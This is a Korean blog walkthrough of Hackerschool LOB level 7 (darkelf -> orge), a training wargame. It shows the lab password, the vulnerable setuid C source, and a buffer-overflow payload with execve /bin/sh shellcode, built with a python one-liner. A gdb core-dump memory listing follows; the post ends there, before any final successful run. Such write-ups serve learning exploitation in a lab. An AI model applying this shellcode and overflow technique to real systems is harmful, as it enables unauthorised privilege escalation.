해커스쿨 LOB LEVEL7 [darkelf -> orge] 풀이
M4ndU
해커스쿨 LOB [darkelf -> orge] 풀이입니다.
ID | darkelf
PW | kernel crashed
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: darkelf
Password:
[darkelf@localhost darkelf]$ bash2
[darkelf@localhost darkelf]$ ls -l
total 20
-rwsr-sr-x 1 orge orge 12700 Mar 1 2010 orge
-rw-r--r-- 1 root root 800 Mar 29 2010 orge.c
[darkelf@localhost darkelf]$ cat orge.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
[darkelf@localhost darkelf]$ mkdir tmp
[darkelf@localhost darkelf]$ cp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA tmp/
[darkelf@localhost darkelf]$ cd tmp/
[darkelf@localhost tmp]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xff\xff\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?
Segmentation fault (core dumped)
[darkelf@localhost tmp]$ gdb -c core -q
Core was generated by `./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA D'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffff in ?? ()
(gdb) x/1000x $esp
0xbffff9d0: 0x00000000 0xbffffa14 0xbffffa24 0x40013868
0xbffff9e0: 0x00000003 0x08048450 0x00000000 0x08048471
(생략)
0xbffffb10: 0x00000000 0x00000000 0x00000000 0x38366900
0xbffffb20: 0x2f2e0036 0x41414141 0x41414141 0x41414141
0xbffffb30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb60: 0x41414141 0x41414141 0x41414141 0x00414141
0xbffffb70: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb80: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb90: 0x44444444 0x44444444 0x44444444 0xbfffffff
0xbffffba0: 0x90909000 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffffbc0: 0xe3896e69 0xe1895350 0x0bb0c289 0x000080cd
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이 (0) | 2018.02.11 |
---|---|
해커스쿨 LOB LEVEL8 [orge -> troll] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL6 [wolfman-> darkelf] 풀이 (1) | 2018.02.11 |
해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이 (0) | 2018.02.11 |